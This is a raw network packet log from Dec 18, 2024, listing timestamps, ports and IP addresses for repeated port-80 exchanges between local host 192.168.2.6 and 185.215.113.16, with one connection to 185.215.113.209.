Dec 18, 2024 12:00:24.340828896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.341130018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.341176033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.341914892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.341974974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.342250109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.342297077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.343086958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.343163967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.343698978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.344276905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.344338894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.344496012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.344544888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.345458031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.345535040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.345638037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.345684052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.346380949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.346440077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.346537113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.346581936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.347378969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.347559929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.347655058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.348480940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.348541975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.348839998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.348920107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.349647045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.349704981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.349745035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.349795103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.350658894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.350713015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.350820065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.350893974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.351736069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.351912975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.351982117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.352906942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.352962971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.353976011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.353986979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.354031086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.354068041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.354429960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.355051041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.355118036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.355283976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.355365038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.356123924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.356614113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.356667995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.357213020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.357266903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.357366085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.357419014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.358514071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.358634949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.358710051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.358760118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.359447002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.360609055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.360673904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.360758066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.360770941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.360836029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.360873938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.361881971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.362191916 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.362260103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.362837076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.363042116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.363109112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.363812923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.364535093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.364607096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.364949942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.364960909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.365009069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.365041018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.366056919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.366175890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.366244078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.367124081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.367194891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.367500067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.368208885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.368274927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.368442059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.368518114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.369318008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.369329929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.369385958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.370383024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.370438099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.370836020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.370893002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.371479034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.372641087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.372652054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.372694016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.372701883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.372742891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.373702049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.373758078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.374064922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.374114037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.374829054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.374840975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.374902964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.374902964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.375883102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.376579046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.376633883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.376993895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.377048016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.377980947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.378035069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.378109932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.378123999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.378165960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.378201008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.379180908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.379383087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.380119085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.380175114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.380284071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.380296946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.380337000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.380371094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.381350994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.381418943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.381474018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.382529974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.382601023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.382611990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.382647991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.383618116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.383682966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.383738041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.384665012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.384721041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.385741949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.385759115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.385798931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.385834932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.519836903 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.519922972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.520066977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.520150900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.520359993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.520371914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.520421028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.521398067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.521450996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.521569967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.521764040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.522531033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.522583008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.522718906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.522761106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.523494959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.523556948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.523601055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.523648977 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.524550915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.524602890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.524648905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.524707079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.525747061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.525758028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.525810957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.525845051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.526799917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.526856899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.527126074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.527204037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.527910948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.528104067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.528153896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.529006004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.529083014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.529124022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.529170036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.530065060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.530183077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.531027079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.531099081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.531210899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.531222105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.531270027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.532310963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.532320976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.532368898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.533344030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.533401012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.533545017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.533593893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.534447908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.534499884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.535067081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.535115957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.535528898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.535602093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.536217928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.536278963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.536638975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.537058115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.537106991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.537138939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.537935972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.538033962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.538558006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.538732052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.538950920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.539063931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.539113998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.539935112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.539999962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.540162086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.540297031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.541217089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.541290998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.541443110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.541508913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.542135000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.542313099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.542408943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.542459011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.543229103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.543365002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.543380022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.543422937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.544328928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.544388056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.544687986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.544744015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.545420885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.545485973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.545679092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.545746088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.546559095 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.546624899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.546971083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.547038078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.547334909 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:24.547600985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.547665119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.547782898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.547925949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.549019098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.549097061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.549359083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.549415112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.550204039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.550259113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.550323963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.550457954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.550926924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.550976992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.551098108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.551156044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.551975012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.552030087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.552074909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.552125931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.553105116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.553117037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.553154945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.553200960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.554176092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.554230928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.555038929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.555093050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.555296898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.555370092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.556411028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.556421995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.556472063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.556474924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.556528091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.557748079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.557760000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.557805061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.559562922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.559612036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.560045958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.560230970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.560709000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.560719967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.560770035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.561635971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.561696053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.562004089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.562058926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.562716961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.562804937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.562812090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.562848091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.563769102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.563831091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.563920021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.563970089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.564830065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.564887047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.566029072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.566040039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.566077948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.566087008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.566101074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.566128016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.567060947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.567116022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.567148924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.567193031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.568053961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.568134069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.569114923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.569128990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.569147110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.569174051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.569206953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.570070982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.570180893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.570372105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.570422888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.570908070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.570919037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.570960999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.571734905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.571779966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.571994066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.572036982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.572864056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.572874069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.572918892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.573915005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.573965073 CET	49950	80	192.168.2.6	185.215.113.16
